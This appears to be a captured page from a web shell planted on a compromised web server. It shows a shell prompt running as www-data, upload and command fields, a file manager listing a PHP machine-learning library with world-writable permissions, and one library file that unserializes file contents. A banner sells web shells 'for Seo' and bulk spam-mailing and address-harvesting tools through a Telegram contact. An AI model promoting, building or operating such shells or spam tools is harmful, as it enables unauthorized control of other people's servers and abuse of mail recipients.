__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

declare(strict_types=1);

namespace Phpml;

use Phpml\Exception\FileException;
use Phpml\Exception\SerializeException;

class ModelManager
{
    public function saveToFile(Estimator $estimator, string $filepath): void
    {
        if (!is_writable(dirname($filepath))) {
            throw new FileException(sprintf('File "%s" cannot be saved.', basename($filepath)));
        }

        $serialized = serialize($estimator);
        if (!isset($serialized[0])) {
            throw new SerializeException(sprintf('Class "%s" cannot be serialized.', gettype($estimator)));
        }

        $result = file_put_contents($filepath, $serialized, LOCK_EX);
        if ($result === false) {
            throw new FileException(sprintf('File "%s" cannot be saved.', basename($filepath)));
        }
    }

    public function restoreFromFile(string $filepath): Estimator
    {
        if (!file_exists($filepath) || !is_readable($filepath)) {
            throw new FileException(sprintf('File "%s" cannot be opened.', basename($filepath)));
        }

        $object = unserialize((string) file_get_contents($filepath));
        if ($object === false || !$object instanceof Estimator) {
            throw new SerializeException(sprintf('"%s" cannot be unserialized.', basename($filepath)));
        }

        return $object;
    }
}

Filemanager

Name Type Size Permission Actions
Association Folder 0777
Classification Folder 0777
Clustering Folder 0777
CrossValidation Folder 0777
Dataset Folder 0777
DimensionReduction Folder 0777
Exception Folder 0777
FeatureExtraction Folder 0777
FeatureSelection Folder 0777
Helper Folder 0777
Math Folder 0777
Metric Folder 0777
NeuralNetwork Folder 0777
Preprocessing Folder 0777
Regression Folder 0777
SupportVectorMachine Folder 0777
Tokenization Folder 0777
Estimator.php File 223 B 0777
FeatureUnion.php File 2 KB 0777
IncrementalEstimator.php File 178 B 0777
ModelManager.php File 1.3 KB 0777
Pipeline.php File 2.1 KB 0777
Transformer.php File 356 B 0777
Filemanager